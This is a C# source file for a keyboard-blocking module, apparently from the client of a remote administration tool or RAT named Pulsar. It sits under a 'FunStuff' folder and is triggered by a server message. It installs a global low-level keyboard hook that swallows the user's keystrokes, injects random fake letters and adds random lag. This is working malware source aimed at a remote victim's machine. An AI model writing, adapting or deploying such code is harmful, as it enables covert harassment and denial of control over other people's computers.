212 lines
6.3 KiB
C#
212 lines
6.3 KiB
C#
using System;
|
||
using System.Diagnostics;
|
||
using System.Runtime.InteropServices;
|
||
using System.Threading;
|
||
using System.Windows.Forms;
|
||
using Pulsar.Common.Messages.FunStuff;
|
||
|
||
namespace Pulsar.Client.FunStuff
|
||
{
|
||
internal class KeyboardInput : IDisposable
|
||
{
|
||
private const int WH_KEYBOARD_LL = 13;
|
||
private const int WM_KEYDOWN = 0x0100;
|
||
private const int WM_KEYUP = 0x0101;
|
||
private const int WM_SYSKEYDOWN = 0x0104;
|
||
private const int WM_SYSKEYUP = 0x0105;
|
||
|
||
private IntPtr _hookID = IntPtr.Zero;
|
||
private bool _isBlocked;
|
||
private readonly LowLevelKeyboardProc _hookProc;
|
||
private Random _rng = new Random();
|
||
private Thread _hookThread;
|
||
private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false);
|
||
|
||
public KeyboardInput()
|
||
{
|
||
_hookProc = HookCallback;
|
||
}
|
||
|
||
public bool IsKeyboardDisabled => _isBlocked;
|
||
|
||
public void EnableKeyboardBlock()
|
||
{
|
||
if (_isBlocked) return;
|
||
|
||
// Start the hook in a separate thread
|
||
_hookThread = new Thread(InstallHook)
|
||
{
|
||
Name = "KeyboardHookThread",
|
||
IsBackground = true
|
||
};
|
||
_hookThread.Start();
|
||
|
||
// Wait for hook to be installed
|
||
_hookReadyEvent.WaitOne(1000);
|
||
_isBlocked = true;
|
||
}
|
||
|
||
public void DisableKeyboardBlock()
|
||
{
|
||
if (!_isBlocked) return;
|
||
|
||
if (_hookID != IntPtr.Zero)
|
||
{
|
||
UnhookWindowsHookEx(_hookID);
|
||
_hookID = IntPtr.Zero;
|
||
}
|
||
|
||
_hookThread?.Join(1000); // Wait for thread to finish
|
||
_hookThread = null;
|
||
_hookReadyEvent.Reset();
|
||
_isBlocked = false;
|
||
}
|
||
|
||
public void ToggleKeyboardBlock()
|
||
{
|
||
if (_isBlocked) DisableKeyboardBlock();
|
||
else EnableKeyboardBlock();
|
||
}
|
||
|
||
public void Handle(DoBlockKeyboardInput message)
|
||
{
|
||
if (message.Block) EnableKeyboardBlock();
|
||
else DisableKeyboardBlock();
|
||
}
|
||
|
||
private void InstallHook()
|
||
{
|
||
try
|
||
{
|
||
using (Process process = Process.GetCurrentProcess())
|
||
using (ProcessModule module = process.MainModule)
|
||
{
|
||
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc,
|
||
GetModuleHandle(module.ModuleName), 0);
|
||
}
|
||
|
||
if (_hookID == IntPtr.Zero)
|
||
{
|
||
throw new Exception("Failed to install keyboard hook");
|
||
}
|
||
|
||
_hookReadyEvent.Set(); // Signal that hook is ready
|
||
|
||
// Start message pump to keep the hook alive
|
||
Application.Run();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Hook thread error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||
{
|
||
if (nCode >= 0 && _isBlocked)
|
||
{
|
||
// Grab the key data
|
||
int vkCode = Marshal.ReadInt32(lParam);
|
||
|
||
// 1. Random key swap
|
||
if (_rng.NextDouble() < 0.5)
|
||
vkCode = _rng.Next(0x20, 0x7E); // random printable char
|
||
|
||
// 2. Simulate lag
|
||
Thread.Sleep(_rng.Next(100, 500)); // 100–500ms random lag
|
||
|
||
// 3. Optionally inject fake key
|
||
if (_rng.NextDouble() < 0.3)
|
||
{
|
||
SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter
|
||
}
|
||
|
||
// 4. Swallow the original input
|
||
return (IntPtr)1;
|
||
}
|
||
|
||
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
|
||
}
|
||
|
||
private void SendKey(Keys key)
|
||
{
|
||
INPUT[] inputs = new INPUT[]
|
||
{
|
||
new INPUT
|
||
{
|
||
type = 1,
|
||
U = new InputUnion
|
||
{
|
||
ki = new KEYBDINPUT
|
||
{
|
||
wVk = (ushort)key,
|
||
dwFlags = 0
|
||
}
|
||
}
|
||
},
|
||
new INPUT
|
||
{
|
||
type = 1,
|
||
U = new InputUnion
|
||
{
|
||
ki = new KEYBDINPUT
|
||
{
|
||
wVk = (ushort)key,
|
||
dwFlags = 2 // KEYEVENTF_KEYUP
|
||
}
|
||
}
|
||
}
|
||
};
|
||
SendInput((uint)inputs.Length, inputs, INPUT.Size);
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential)]
|
||
private struct INPUT
|
||
{
|
||
public uint type;
|
||
public InputUnion U;
|
||
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Explicit)]
|
||
private struct InputUnion
|
||
{
|
||
[FieldOffset(0)] public KEYBDINPUT ki;
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential)]
|
||
private struct KEYBDINPUT
|
||
{
|
||
public ushort wVk;
|
||
public ushort wScan;
|
||
public uint dwFlags;
|
||
public uint time;
|
||
public IntPtr dwExtraInfo;
|
||
}
|
||
|
||
[DllImport("user32.dll")]
|
||
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
||
|
||
[DllImport("user32.dll", SetLastError = true)]
|
||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn,
|
||
IntPtr hMod, uint dwThreadId);
|
||
|
||
[DllImport("user32.dll", SetLastError = true)]
|
||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||
|
||
[DllImport("user32.dll")]
|
||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
|
||
IntPtr wParam, IntPtr lParam);
|
||
|
||
[DllImport("kernel32.dll")]
|
||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||
|
||
public void Dispose()
|
||
{
|
||
DisableKeyboardBlock();
|
||
_hookReadyEvent?.Dispose();
|
||
}
|
||
|
||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||
}
|
||
} |